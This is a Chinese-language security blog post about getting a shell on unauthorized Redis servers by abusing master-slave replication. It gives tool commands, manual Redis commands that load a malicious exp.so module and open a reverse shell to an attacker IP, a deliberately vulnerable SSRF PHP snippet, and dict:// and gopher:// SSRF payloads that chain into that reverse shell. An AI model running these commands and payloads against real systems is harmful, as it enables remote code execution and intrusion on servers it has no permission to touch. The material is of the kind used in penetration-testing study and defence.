文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-03-14   1.1k

Redis主从复制getshell技巧

参考:Bypass

Redis未授权漏洞常见的漏洞利用方式:

  • Windows下,绝对路径写webshell 、写入启动项。
  • Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。

基于Redis主从复制的机制,可以完美无损的将文件同步到从节点。这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着更多的可能性等待被探索。


一、Redis 主从复制一键自动化RCE

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

通过脚本实现一键自动化getshell:

1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

1
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make

2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

1
git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

二、Redis主从复制利用原理

首先,我们通过一个简单的测试,来熟悉一下slave和master的握手协议过程:

1、监听本地1234端

1
nc -lvvp 1234

2、将Redis服务器设置为从节点(slave)

1
slaveof 127.0.0.1 1234

3、使用nc模拟Redis主服务器,进行模拟Redis主从交互过程(红色部分为slave发送的命令):

img

以上,通过nc进行模拟Redis主从复制的交互过程,同理,如果构建模拟一个Redis服务器,利用Redis主从复制的机制,那么就可以通过FULLRESYNC将任意文件同步到从节点。

三、Redis主从复制手动挡

手动操作过程记录:

1、编写脚本,构造恶意Redis服务器,监听本地端口1234,加载exp.so

1
python RogueServer.py --lport 1234 --exp exp.so

img

2、通过未授权访问连入要攻击的redis服务器。

执行相关命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.1291234
#加载恶意模块
moduleload ./exp.so
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami' system.rev 127.0.0.19999
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system

成功执行系统命令:

img

四、SSRF+Redis 反弹shell

参照Redis手动getshell的过程,可轻易实现SSRF+Redis反弹shell。

以curl为例,漏洞代码为ssrf.php:

1
2
3
4
5
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);curl_close($ch);?>

环境准备:

  • 模拟内网未授权Redis服务器:192.168.172.131
  • 模拟攻击者机器:192.168.172.129,在攻击者机器上构建恶意Redis服务器,同时监听本地9999端口等待shell返回。

1、利用dict协议反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info
#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so
#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234
#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so
#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one
#执行系统命令
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2、利用gopher协议反弹shell

1
2
3
4
#设置文件名,连接恶意Redis服务器
ssrf.php?url=gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit
#加载exp.so,反弹shell
ssrf.php?url=gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

3、利用这两种协议,都可以成功反弹shell。

img

Copyright © ca01h 2019-2021 | 本站总访问量